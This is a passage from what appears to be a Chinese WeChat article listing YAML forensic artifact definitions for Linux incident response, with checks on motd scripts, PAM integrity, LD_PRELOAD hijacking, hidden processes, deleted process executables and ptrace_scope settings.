leaf="">Motd.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxMotd&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上 motd 是欢迎信息，该部分内容可能被用作权限维持&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/update-motd.d/&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;<a href="https://mp.weixin.qq.com/s/AvnCXkdGqo8uBBRYH61ihA" target="_blank">https://mp.weixin.qq.com/s/AvnCXkdGqo8uBBRYH61ihA</a>&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上的 motd 信息，排查是否存在后门。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">PAM.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxPAM&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Linux 平台上 PAM 是一套身份认证框架，用于统一和灵活地管理系统的各种认证方式。\nPAM 常被用于权限维持。&#34;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;debsums&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;libpam0g&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-a&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-c&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;debsums&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-a&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-c&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;2&gt;/dev/null&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;<a href="https://mp.weixin.qq.com/s/W4RX5WRzUp-hK1_Pr3rp7w" target="_blank">https://mp.weixin.qq.com/s/W4RX5WRzUp-hK1_Pr3rp7w</a>&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上 PAM 相关信息，用于判断是否存在被用于权限维持的情况。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Preload.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxPreload&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上常见的动态链接库劫持排查&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;echo&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;$LD_PRELOAD&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/ld.so.conf&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;echo&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;$LD_LIBRARY_PATH&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/ld.so.preload&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;<a href="https://mp.weixin.qq.com/s/7mOeZ6DkSAFqzibN82qcMg" target="_blank">https://mp.weixin.qq.com/s/7mOeZ6DkSAFqzibN82qcMg</a>&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;<a href="https://mp.weixin.qq.com/s/InMQaKOwns2mEIp5yF8dDw" target="_blank">https://mp.weixin.qq.com/s/InMQaKOwns2mEIp5yF8dDw</a>&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上 preload 相关信息，用于判断是否存在这种类型的动态链接库劫持。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Proc.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxProc&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Linux 平台上 proc 是 Linux 系统中的一个虚拟文件系统，不是存储真实文件的地方，而是内核提供给用户空间的一种内存映射接口。\n本 Artifact 是用于比对 ps -aux 与实际 proc 的差异，寻找是否存在隐藏进程。&#34;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;ps&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-aux&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;ls&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-al&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/proc&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集对比 Linux 平台上 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ps -aux</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/proc/</span></code><span leaf=""> 目录下目录的差异，寻找是否存在隐藏进程。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">ProcessFileDeleted.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxProcessFileDeleted&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上进程启动文件被删除的情况排查，部分恶意文件会删除进程启动文件来避免被分析，常规程序通常不会删除进程启动文件。&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;ls&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-al&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/proc/*/exe&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;2&gt;/dev/null&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;|&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;grep&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;deleted&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">发现 Linux 平台上是否存在进程启动文件被删除的情况，有些恶意程序为防止本身被分析会采取这样的操作。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">PtraceScope.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxPtraceScope&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Linux 平台上 /proc/sys/kernel/yama/ptrace_scope 这个文件是 Linux 内核安全模块 YAMA 提供的一个“开关”，用于限制 ptrace 系统调用的使用范围，从而增强系统的安全性。\n\n内容含义如下：\n- 0\t没有限制，任何进程都可以 ptrace 其它进程（只要有权限，如相同的用户）。不推荐，除非有特别需求。\n- 1\t（默认） 只有父进程可以 ptrace 其直接的子进程，或者进程彼此有明确的 ptrace 关系。更安全，推荐。\n- 2\t只有 root 用户可以使用 ptrace。\n- 3\t完全禁止 ptrace，即使是 root 也不行。&#34;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span 